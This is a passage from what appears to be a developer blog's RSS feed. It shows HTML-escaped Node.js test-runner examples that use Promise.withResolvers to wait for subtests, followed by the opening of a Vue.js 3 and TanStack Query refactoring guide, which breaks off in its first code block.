&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { test } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:test&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;foo&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;([&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    t.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;bar 1&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    t.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;bar 2&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Today is the first time I have ever had a need for &lt;code&gt;Promise.withResolvers&lt;/code&gt;. It’s a rather effective hack around not having &lt;code&gt;t.end&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;James Sumners &lt;a href=&quot;https://x.com/jsumners79/status/1817966991761674509&quot;&gt;shared on X&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But, Promise &lt;code&gt;withResolvers&lt;/code&gt; to the rescue! 🦸‍♀️&lt;/p&gt;
&lt;p&gt;If you want to use &lt;code&gt;Promise&lt;/code&gt; instead of the pseudo-code &lt;code&gt;t.end()&lt;/code&gt; or our &lt;code&gt;Promise.all()&lt;/code&gt; wrapper, you can use &lt;code&gt;Promise.withResolvers&lt;/code&gt; like so:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;foo&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;withResolvers&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; completedTests &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;totalTests&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;checkCompletion&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    completedTests &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (completedTests &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; totalTests) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  t.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;bar 1&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    t.assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;checkCompletion&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  t.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;bar 2&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    t.assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;checkCompletion&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; promise;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the above example, we’re using &lt;code&gt;Promise.withResolvers&lt;/code&gt; to signal the end of the test. We’re keeping track of the number of completed tests using a counter and when all tests are completed, we call &lt;code&gt;resolve()&lt;/code&gt; to signal the end of the test.&lt;/p&gt;
&lt;p&gt;Another refactor of the above code could be to use &lt;code&gt;Promise.all()&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { test } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:test&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { setTimeout } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:timers/promises&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;foo&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;withResolvers&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;subtests&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    t.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;bar 1&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setTimeout&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2500&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      t.assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    t.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;bar 2&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setTimeout&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5500&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      t.assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(subtests).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;then&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(resolve);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; promise;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;nodejs-promisewithresolvers-api-version-limitations&quot;&gt;Node.js Promise.withResolvers API version limitations&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;Promise.withResolvers&lt;/code&gt; API is available in Node.js v22.0.0 and later. If you’re using an older version of Node.js, you can’t use this API directly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/promise-with-resolvers-browser-compatibility.png&quot; alt=&quot;browser compatibility for Promise.withResolvers API&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Supercharging Your Vue.js 3 App with TanStack Query: A Practical Refactoring Guide</title><link>https://lirantal.com/blog/supercharging-vuejs-3-app-tanstack-query-practical-refactoring-guide/</link><guid>https://lirantal.com/blog/supercharging-vuejs-3-app-tanstack-query-practical-refactoring-guide/</guid><description>Learn how to supercharge your Vue.js 3 app with TanStack Query. Discover efficient data fetching, caching, and state management in this practical refactoring guide.</description><pubDate>Sun, 11 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hey there fellow Vue.js enthusiasts! 👋 Ever found yourself wrestling with data fetching in your Vue.js 3 app? You know, that moment when you’re staring at your &lt;code&gt;fetch()&lt;/code&gt; calls, thinking, “There’s gotta be a better way to handle this mess of loading states, caching, and updates!” Well, grab your favorite caffeinated beverage, because we’re about to get on with transforming your data fetching game with &lt;strong&gt;TanStack Query&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This is also my first time using TanStack Query because I wanted to get server updates working and decided that frontend polling is a good-enough solution for that.&lt;/p&gt;
&lt;p&gt;Before we dive in though, here’s the fetch frustration in a nutshell:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;async &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fetchArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
